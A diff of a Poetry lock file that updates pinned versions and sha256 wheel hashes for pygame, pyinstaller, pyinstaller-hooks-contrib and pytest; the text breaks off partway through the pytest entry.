"pygame-2.4.0-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:1b7201a44869eb420dd56c8e003251c9e7422c5304b3e78508e767a5634ab31b"}, - {file = "pygame-2.4.0-cp310-cp310-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:3ab14e06c302921f33d25180813711a920acef386d3992fc21731d2d5e8e86f0"}, - {file = "pygame-2.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:418659c2d42f6a2356e2691006d79b6e07fd4992f9e904a2638c51c992f3e41b"}, - {file = "pygame-2.4.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e70fd71e0321a805001192e08ae4af45b86c68f155670230c3f6f4dd25089e70"}, - {file = "pygame-2.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab8115af26a9e95f39b08fff416f097803480f265500b218a5ca065d6e73124f"}, - {file = "pygame-2.4.0-cp310-cp310-win32.whl", hash = "sha256:4ffec9661731fb674ccc88d1de92709219047af3d8198d0e6203c21f3f1b54a7"}, - {file = "pygame-2.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:bb5a39320d00fa781959d2d0151e6f0293dd1398c6dc9dc934112ecce7b4fb52"}, - {file = "pygame-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:23543e2d206d8de7d6db4f7b1c74e6fea6c01ead63caf7252e63341e1cdb09f6"}, - {file = "pygame-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:4b562cfdd8caa76ba47ca2a9211fee6b0a95ceb95c9da94cf60a3909b2300854"}, - {file = "pygame-2.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:751bc57e4c3b7cd92762344562dcbd405e2b54488de1d7a1e083a470bdbc5ae9"}, - {file = "pygame-2.4.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d9b1127f085d09c7c0a976d440e8fc2f7adc579d62abcfc20c23c2699bbe2dc1"}, - {file = "pygame-2.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:47fd096ceb68d966681f8d0e820f7305bf05b30421ca562cfdb3c89a5aef26e5"}, - {file = "pygame-2.4.0-cp311-cp311-win32.whl", hash = "sha256:de963a4b8787d93a9fba8f4052d9dde8b12adbeac5781e48035be1557dfadb20"}, - {file = "pygame-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:75ef535ebe541b74a160bb59c3e520f543250d19f69d5973350ec1b9706e1469"}, - {file = "pygame-2.4.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:ca2ecc65126eaaa5b8e6a119913cfb2c2b1ed4c8ee1b980baf333aa9d379f227"}, - {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:4a98ed8c47e367b9233b5ca25c36c2b45ab61959ac543195f0b6349f0a599ec8"}, - {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:00ecd4688ee25d5d4cf48eddab18749a9bb2b382772f7fa8a987e4d21026c603"}, - {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:99c296ecb8ce6ea1f404f4d174fdb215c64515827778525301c29ddf6f8e6e07"}, - {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b6b94fc99487ce4a45ce00fa9145f4861f6e021254a005101d00bc17a4bb4f5c"}, - {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f3020fb98f27a6ea79418a5b332ca07be93884e4a455c8a0a31b2dcf39ee2d96"}, - {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:8f97c8be81b3262ad8dae982485c4a73c9f2374614dfc0db8eb0f754badb29d6"}, - {file = "pygame-2.4.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:be7f948d33d0536c2922289e6f5983251cb0bd0d727db6ff692886c239f47a2c"}, - {file = "pygame-2.4.0-cp36-cp36m-win32.whl", hash = "sha256:a66b314f4a637784d5ca2970745bb2e6e554447dce8f4cfedd9b9fcef5e3ffc6"}, - {file = "pygame-2.4.0-cp36-cp36m-win_amd64.whl", hash = "sha256:c09323eeae9e0cb2ced0cb3635485ae17f4f1b2b6b908a494ce2d830c609d4be"}, - {file = "pygame-2.4.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c4241e1da3852a955d37a22157ed51b2d30a65f7987eac9d162bb302fb754d87"}, - {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:802b03f6c367359c94eb6a90169666efa1aa1d6e24fce37a0b21642ccdfe48cf"}, - {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:79b0962a8f09788ca735532cfcf2dd053424fe5eabbda564b74f8e5e2eb11f48"}, - {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:627c8bb007a757da18d32c5d9b7ac50ab0356d9e922d570b0572765778080787"}, - {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f576403c2b14f0eea694365b9018d5bacac70b1550261ffc7a54a92e18967541"}, - {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5210cb09ec31281e16fda008bf8dfe2e024eef58e075dd0c01935d0004fdfffd"}, - {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:6060d68d10fafd51c4cb3a7d687d741009881860dfd429c863e570877e2ce9de"}, - {file = "pygame-2.4.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:6c0081546749c0b4341ce575622a4f8eee05f675d3a0872ab6aed6e5bd2ba5a8"}, - {file = "pygame-2.4.0-cp37-cp37m-win32.whl", hash = "sha256:fa2531f83e7c5f6f7cc20a1b4e0f982bd608aad81ff6c385148e64256ab0419f"}, - {file = "pygame-2.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:cff815181437add5f3d702e8c7f1d2aa4ed04ed04cde27ec809e7ac516ee6b5f"}, - {file = "pygame-2.4.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:53bfdc1aea619fa8d347be37b08de87089d543375948aacf8b163b0c5eb6d4e4"}, - {file = "pygame-2.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7fa1e65fd559823997f39a592cb49d8c89dd31c8bbde8273fe3922e2c1f294f6"}, - {file = "pygame-2.4.0-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:65ee75e0e83e393fdc5c06e55e376c7511881a5ebee006ecca89cb1b3b41d6f1"}, - {file = "pygame-2.4.0-cp38-cp38-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:fbcba1b06f42338fecbd366227025f81729d9f4a577677fd3cd1ceff34d7286a"}, - {file = "pygame-2.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b04451e5addae3a078a7a4f494e6b217025f4813dfb364a49c250fc5dfd1d2e2"}, - {file = "pygame-2.4.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:faa3b63b71d555e7a21cecc11c65e059d9cb1902158d863ac3592e1947bc521a"}, - {file = "pygame-2.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ef14750fa60b47510cfe9c7c37e7abe67617f5d1f1a8ffa257a59d49836dadda"}, - {file = "pygame-2.4.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:5a2aee4214e5efed2cb3650139010dd4d0b1c29a9760278ab259d0b46281b66a"}, - {file = "pygame-2.4.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:47be83060a9dbc79763fd230f04d53a29064b5f64d1b59425c432d3570b22623"}, - {file = "pygame-2.4.0-cp38-cp38-win32.whl", hash = "sha256:14492d8c0eaad778bb10b6d53eaea4ef77f4d3431b6b7c857397dc6cf4397ac9"}, - {file = "pygame-2.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:6ba967d0e3fed8611f1face6695dc8fa554ee543d300681f8080f5de9cc7da73"}, - {file = "pygame-2.4.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:9f6b7a604812f447495829751dfe7ab57cb31c2c9acdb07ba4b7157490411a12"}, - {file = "pygame-2.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e2a3176b33b97ebae397f951d254e3155a0afe730e1b76fb35126555c27dd3b5"}, - {file = "pygame-2.4.0-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.whl", hash = "sha256:6ec870a63295ebff737640c4ef39868312e206dcba655b4ad5c7d0e8c2488b73"}, - {file = "pygame-2.4.0-cp39-cp39-manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:e75d8c2980d719045be366160568bf508cbbed21285efe32468c75abcd4cf8b3"}, - {file = "pygame-2.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7e5d32def075e495b4802371fd8cda96ff4957aa39e215f83d87022dedf14cfb"}, - {file = "pygame-2.4.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cad74cbbefbdb81cb22a9ea22561614b8dc58fcd52cd54126bbb8ee9ee77a5d5"}, - {file = "pygame-2.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b4c75dd345707da622c78dbd6a63a025f7b89377ddc4e71ba40043929824f5d4"}, - {file = "pygame-2.4.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:075c1282b1d307669c8ef29942564b91acb85623bedba3bfb841079d539ded31"}, - {file = "pygame-2.4.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1422673a2b485153cbc20dbbd37af791c9842ca98a1b7a89fe3ac115cce79805"}, - {file = "pygame-2.4.0-cp39-cp39-win32.whl", hash = "sha256:fb7bb86c4aedb4382d7f643ff7d21ab4731d59ddb9b448e78b9125ab1addc007"}, - {file = "pygame-2.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:93bb1406125ae9bd7a9bb0d45f11b30f157ea8d2efee1ebe9d781b1d1a9fce6b"}, - {file = "pygame-2.4.0-pp36-pypy36_pp73-win32.whl", hash = "sha256:2946c151691c80ffb9f3f39e1f294d7ed9edaae1814e528d2f5b4751e7e6d903"}, - {file = "pygame-2.4.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80502eb26483b0206d0508475ec7d67a86bc0afc5bb4aad3a6172a7a85a27554"}, - {file = "pygame-2.4.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f9c8bb7b77f97eb49dac900445fbf96a332d2072588949d6396581933843fb04"}, - {file = "pygame-2.4.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:8b6e1493724d29e46a0e7e8125d9808c9957c652db67afe9497d385509fc5ac5"}, - {file = "pygame-2.4.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:43db3a6c9be3d94eececf7c86cde7584d2bb87f394ade40139c3b4e528fdff24"}, - {file = "pygame-2.4.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:32ed4d4317bce8fe78592a7b5b4a07f2e0ff814e35c66cb5a3b398dae96c3f27"}, - {file = "pygame-2.4.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:e5f043751840a07ff0160abe46ed42a88bc29baee93656abb5a050beda176306"}, - {file = "pygame-2.4.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:867cf19f1c7aa6f187a0a31b702f5668e935e700b46d94bd58e94ec8581cf081"}, - {file = "pygame-2.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a93d368311d40827dc5f0cad2a0e9a8700c1b017346808cfdfd9ea98aee45df"}, - {file = "pygame-2.4.0.tar.gz", hash = "sha256:e3603e70e96ee30af1954ce57d4922a059402f368013e7138e90f1c03d185267"}, + {file = "pygame-2.5.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e34a2b5660acc298d0a66ce16f13a7ca1c56c2a685e40afef3a0cf6eaf3f44b3"}, + {file = "pygame-2.5.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:875dbde88b899fb7f48d6f0e87f70c3dcc8ee87a947c3df817d949a9741dbcf5"}, + {file = "pygame-2.5.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:854dc9106210d1a3a83914af53fc234c0bed65a39f5e6098a8eb489da354ad0c"}, + {file = "pygame-2.5.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7e1898db0fd7b868a31c29204813f447c59390350fd806904d80bebde094f3f8"}, + {file = "pygame-2.5.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:22d5eac9b9936c7dc2813a750bc8efd53234ad1afc32eb99d6f64bb403c2b9aa"}, + {file = "pygame-2.5.0-cp310-cp310-win32.whl", hash = "sha256:e9eed550b8921080a3c7524202822fc2cf7226e0ffd3c4e4d16510ba44b24e6f"}, + {file = "pygame-2.5.0-cp310-cp310-win_amd64.whl", hash = "sha256:93128beb1154c443f05a66bfbf3f1d4eb8659157ab3b45e4a0454e5905440431"}, + {file = "pygame-2.5.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c71d5b3ec232113cbd2e23a19eb01eef1818db41892d0d5efbac3901f940da66"}, + {file = "pygame-2.5.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b763062b1996de26a28600e7a8f138d5b36ba0ddd63c65ccbd06124cd95bab70"}, + {file = "pygame-2.5.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e5b6a42109f922352c524565fceb22bf8f8b6e4b00d38306e6f5b4c673048f4a"}, + {file = "pygame-2.5.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3bcb19c8ee3fc794ab3a7cb5b5fb1ad38da6866dfbba4af3699a84a828c8a4b9"}, + {file = "pygame-2.5.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c66b7abc38511c7ca08c5bb58a3bfc14fa51b4e5f85a1786777afc9e584a14dd"}, + {file = "pygame-2.5.0-cp311-cp311-win32.whl", hash = "sha256:46cf1c9b20fb11c7d836c02dd5fc2ca843b699c0e2bc4130cf4ad2f855db5f7f"}, + {file = "pygame-2.5.0-cp311-cp311-win_amd64.whl", hash = "sha256:f7b77b5019a9a6342535f53c75cef912b218cd24e98505828418f135aacc0a1b"}, + {file = "pygame-2.5.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7ddec0c823fd0869fe4a75ba906dcb7889db0e0c289ce8c03d4ce0a67351ab66"}, + {file = "pygame-2.5.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bae93ce29b8337a5e02507603094c51740c9f496272ef070e2624e9647776568"}, + {file = "pygame-2.5.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c80a1ad38d11102b4dfa0519aa2a26fea534503b259872609acc9adb1860884e"}, + {file = "pygame-2.5.0-cp312-cp312-win32.whl", hash = "sha256:8ffebcafda0add8072f82999498113be37494694fa36e02155cfaf1a0ba56fe2"}, + {file = "pygame-2.5.0-cp312-cp312-win_amd64.whl", hash = "sha256:574e310ba708da0c34b71c4158aa7cdca3cf3e16c4100dcd1d3c931a9c6705b4"}, + {file = "pygame-2.5.0-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:275e4fab379620c3b262cd58c457eea80001e91bc2e04d306ddb0ba548c969bf"}, + {file = "pygame-2.5.0-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c116a96a2784bd1724476dbf9c48bfea466ee493a736bdfa04ecbc3f193de0bc"}, + {file = "pygame-2.5.0-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d4a0787ade8723323a3ba874bb725010bb08990a77327fc85f42474f3a840447"}, + {file = "pygame-2.5.0-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c1cb39b660da1b56a1704ec4aa72bac538030786e23607fb25b8a66f357ffe3a"}, + {file = "pygame-2.5.0-cp36-cp36m-win32.whl", hash = "sha256:d051420667dd9fc8103b3cf994c03e46ee90b1c4a72c174737b8c14729ddf68e"}, + {file = "pygame-2.5.0-cp36-cp36m-win_amd64.whl", hash = "sha256:6b58356510b7c38836eb81cf08983b58f280da99580d4f17e89ed0ddb707c29c"}, + {file = "pygame-2.5.0-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:80f167d8fcec7cd3107f829784ad721b1b7532c19fdf42b3aabbb51f7347850f"}, + {file = "pygame-2.5.0-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ef96e9a2d8fd9526b89657d192c42dd7c551bfa381fa98ec52d45443e9713818"}, + {file = "pygame-2.5.0-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e21d53279fb504b267ae06b565b72d9f95ecbf1f2dd8c705329b287f38295d98"}, + {file = "pygame-2.5.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:147cc0256a5df1316590f351febf6205ef2907564fb0d902935834b91e183486"}, + {file = "pygame-2.5.0-cp37-cp37m-win32.whl", hash = "sha256:e47696154d689180e4eea8c1d6f2bac923986119219db6ad0d2e60ab1f525e8c"}, + {file = "pygame-2.5.0-cp37-cp37m-win_amd64.whl", hash = "sha256:4c87fa8fa1f3ea94069119accd6d4b5fbf869c2b2954a19b45162dfb3b7c885e"}, + {file = "pygame-2.5.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:143550078ab10f290cd7c8715a46853e0dc598fd6cdd1561ecb4d6e3116a6b26"}, + {file = "pygame-2.5.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:969de806bed49b28972862acba652f05ece9420bbdf5f925c970c6a18a9fd1f9"}, + {file = "pygame-2.5.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5d3b0da31ea341b86ef96d6b13c0ddcb25f5320186b7215bc870f08119d2f80"}, + {file = "pygame-2.5.0-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b23effd50121468f1dc41022230485bff515154191a9d343224850aa3ed3b7f0"}, + {file = "pygame-2.5.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bce4116db6924b544ff8ff03f7ef681c8baf9c6e039a1ec21e26b4ebdaa0e994"}, + {file = "pygame-2.5.0-cp38-cp38-win32.whl", hash = "sha256:50a89c15412506d95e98792435f49a73101788db30ad9c562f611c7aa7b437fa"}, + {file = "pygame-2.5.0-cp38-cp38-win_amd64.whl", hash = "sha256:df1d8affdbe9f417cc7141581e3d08e4b09f708060d3127d2016fd591b2e4f68"}, + {file = "pygame-2.5.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:99965da24d0bf138d9ac6b7494b9a12781c1510cf936616d1d0c46a736777f6a"}, + {file = "pygame-2.5.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:daa81057c1beb71a9fb96253457197ad03ee988ba546a166f253bd92a98a9a11"}, + {file = "pygame-2.5.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3ca85da605f6621c99c05f272a5dcf85bf0badcdca45f16ff2bee9a9d41ae042"}, + {file = "pygame-2.5.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:603d403997d46b07022097861c8b0ff76c6192f8a2f5f89f1a6a978d4411b715"}, + {file = "pygame-2.5.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7babaeac11544f3e4d7a15756a27f943dc5fff276481fdc9d90415a903ad31a9"}, + {file = "pygame-2.5.0-cp39-cp39-win32.whl", hash = "sha256:9d2126f91699223f0c36845d1c7b2cdfe2f1753ef85b8410ea613e8bd212ca33"}, + {file = "pygame-2.5.0-cp39-cp39-win_amd64.whl", hash = "sha256:8062adc409f0b2742d7996b9b470494025c5e3b73d0d03e3798708dcf5d195cd"}, + {file = "pygame-2.5.0-pp36-pypy36_pp73-win32.whl", hash = "sha256:1bd14adf6151b6ac2f617a8fd71621f1c125209c41a359d3c1cf4bf3904dba5f"}, + {file = "pygame-2.5.0-pp37-pypy37_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2b11708f1c7b1671db15246275adcb18cf384f5f7e73532e26999968876c5099"}, + {file = "pygame-2.5.0-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6830e431575697f7a11f7731798445242e37eb07ae9007f7be33083f700e9b1e"}, + {file = "pygame-2.5.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:7dd80addfdf7dc1f0e04f81c98acb96580726783172256f2ebc955a967e84124"}, + {file = "pygame-2.5.0-pp38-pypy38_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1c2cbd9d1a0a3969d6e1c6b0741279c843b4a36ef3804d324874d0a2f0e49816"}, + {file = "pygame-2.5.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ef373b9865c740f18236f2324e17e7f2111e27c6a4a5b67c490c72a8a8b8de77"}, + {file = "pygame-2.5.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3959038a3e2034cee3f15471786a3bac35baeaa1f7503dc7402bb49d25b5ddbc"}, + {file = "pygame-2.5.0-pp39-pypy39_pp73-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:583d9c8ad033ad51da8485427139d047afb649f49e42d4fa88477f73734ad4b0"}, + {file = "pygame-2.5.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:13b650e925d2e8c82c16bdeae6e7fc5d6ca4ac659a1412da4ecd923ef9d688cb"}, + {file = "pygame-2.5.0.tar.gz", hash = "sha256:edd5745b79435976d92c0a7318aedcafcb7ac4567125ac6ba88aa473559ef9ab"}, ] [[package]] name = "pyinstaller" -version = "5.12.0" +version = "5.13.0" description = "PyInstaller bundles a Python application and all its dependencies into a single package." optional = false -python-versions = "<3.12,>=3.7" +python-versions = "<3.13,>=3.7" files = [ - {file = "pyinstaller-5.12.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:edcb6eb6618f3b763c11487db1d3516111d54bd5598b9470e295c1f628a95496"}, - {file = "pyinstaller-5.12.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:303952c2a8ece894b655c2a0783a0bdc844282f47790707446bde3eaf355f0da"}, - {file = "pyinstaller-5.12.0-py3-none-manylinux2014_i686.whl", hash = "sha256:7eed9996c12aeee7530cbc7c57350939f46391ecf714ac176579190dbd3ec7bf"}, - {file = "pyinstaller-5.12.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:96ad645347671c9fce190506c09523c02f01a503fe3ea65f79bb0cfe22a8c83e"}, - {file = "pyinstaller-5.12.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:c3ceb6c3a34b9407ba16fb68a32f83d5fd94f21d43d9fe38d8f752feb75ca5bb"}, - {file = "pyinstaller-5.12.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:92eeacd052092a0a4368f50ddecbeb6e020b5a70cdf113243fbd6bd8ee25524e"}, - {file = "pyinstaller-5.12.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:3605ac72311318455907a88efb4a4b334b844659673a2a371bbaac2d8b52843a"}, - {file = "pyinstaller-5.12.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:d14c1c2b753af5efed96584f075a6740ea634ca55789113d325dc8c32aef50fe"}, - {file = "pyinstaller-5.12.0-py3-none-win32.whl", hash = "sha256:b64d8a3056e6c7e4ed4d1f95e793ef401bf5b166ef00ad544b5812be0ac63b4b"}, - {file = "pyinstaller-5.12.0-py3-none-win_amd64.whl", hash = "sha256:62d75bb70cdbeea1a0d55067d7201efa2f7d7c19e56c241291c03d551b531684"}, - {file = "pyinstaller-5.12.0-py3-none-win_arm64.whl", hash = "sha256:2f70e2d9b032e5f24a336f41affcb4624e66a84cd863ba58f6a92bd6040653bb"}, - {file = "pyinstaller-5.12.0.tar.gz", hash = "sha256:a1c2667120730604c3ad1e0739a45bb72ca4a502a91e2f5c5b220fbfbb05f0d4"}, + {file = "pyinstaller-5.13.0-py3-none-macosx_10_13_universal2.whl", hash = "sha256:7fdd319828de679f9c5e381eff998ee9b4164bf4457e7fca56946701cf002c3f"}, + {file = "pyinstaller-5.13.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:0df43697c4914285ecd333be968d2cd042ab9b2670124879ee87931d2344eaf5"}, + {file = "pyinstaller-5.13.0-py3-none-manylinux2014_i686.whl", hash = "sha256:28d9742c37e9fb518444b12f8c8ab3cb4ba212d752693c34475c08009aa21ccf"}, + {file = "pyinstaller-5.13.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e5fb17de6c325d3b2b4ceaeb55130ad7100a79096490e4c5b890224406fa42f4"}, + {file = "pyinstaller-5.13.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:78975043edeb628e23a73fb3ef0a273cda50e765f1716f75212ea3e91b09dede"}, + {file = "pyinstaller-5.13.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:cd7d5c06f2847195a23d72ede17c60857d6f495d6f0727dc6c9bc1235f2eb79c"}, + {file = "pyinstaller-5.13.0-py3-none-musllinux_1_1_aarch64.whl", hash = "sha256:24009eba63cfdbcde6d2634e9c87f545eb67249ddf3b514e0cd3b2cdaa595828"}, + {file = "pyinstaller-5.13.0-py3-none-musllinux_1_1_x86_64.whl", hash = "sha256:1fde4381155f21d6354dc450dcaa338cd8a40aaacf6bd22b987b0f3e1f96f3ee"}, + {file = "pyinstaller-5.13.0-py3-none-win32.whl", hash = "sha256:2d03419904d1c25c8968b0ad21da0e0f33d8d65716e29481b5bd83f7f342b0c5"}, + {file = "pyinstaller-5.13.0-py3-none-win_amd64.whl", hash = "sha256:9fc27c5a853b14a90d39c252707673c7a0efec921cd817169aff3af0fca8c127"}, + {file = "pyinstaller-5.13.0-py3-none-win_arm64.whl", hash = "sha256:3a331951f9744bc2379ea5d65d36f3c828eaefe2785f15039592cdc08560b262"}, + {file = "pyinstaller-5.13.0.tar.gz", hash = "sha256:5e446df41255e815017d96318e39f65a3eb807e74a796c7e7ff7f13b6366a2e9"}, ] [package.dependencies] @@ -1359,7 +1343,7 @@ altgraph = "*" macholib = {version = ">=1.8", markers = "sys_platform == \"darwin\""} pefile = {version = ">=2022.5.30", markers = "sys_platform == \"win32\""} pyinstaller-hooks-contrib = ">=2021.4" -pywin32-ctypes = {version = ">=0.2.0", markers = "sys_platform == \"win32\""} +pywin32-ctypes = {version = ">=0.2.1", markers = "sys_platform == \"win32\""} setuptools = ">=42.0.0" [package.extras] @@ -1368,13 +1352,13 @@ hook-testing = ["execnet (>=1.5.0)", "psutil", "pytest (>=2.7.3)"] [[package]] name = "pyinstaller-hooks-contrib" -version = "2023.3" +version = "2023.5" description = "Community maintained hooks for PyInstaller" optional = false python-versions = ">=3.7" files = [ - {file = "pyinstaller-hooks-contrib-2023.3.tar.gz", hash = "sha256:bb39e1038e3e0972420455e0b39cd9dce73f3d80acaf4bf2b3615fea766ff370"}, - {file = "pyinstaller_hooks_contrib-2023.3-py2.py3-none-any.whl", hash = "sha256:062ad7a1746e1cfc24d3a8c4be4e606fced3b123bda7d419f14fcf7507804b07"}, + {file = "pyinstaller-hooks-contrib-2023.5.tar.gz", hash = "sha256:cca6cdc31e739954b5bbbf05ef3f71fe448e9cdacad3a2197243bcf99bea2c00"}, + {file = "pyinstaller_hooks_contrib-2023.5-py2.py3-none-any.whl", hash = "sha256:e60185332a6b56691f471d364e9e9405b03091ca27c96e0dbebdedb7624457fd"}, ] [[package]] @@ -1451,13 +1435,13 @@ resolved_reference = "43c0beda33d5f7939d2a434a873b36fc395f6204" [[package]] name = "pytest" -version = "7.3.2" +version = "7.4.0" description = "pytest: simple powerful testing with Python" optional = false python-versions = ">=3.7" files = [ - {file = "pytest-7.3.2-py3-none-any.whl", hash = "sha256:cdcbd012c9312258922f8cd3f1b62a6580fdced17db6014896053d47cddf9295"}, - {file = "pytest-7.3.2.tar.gz", hash = "sha256:ee990a3cc55ba808b80795a79944756f315c67c12b56abd3ac993a7b8c17030b"}, + {file = "pytest-7.4.0-py3-none-any.whl", hash = 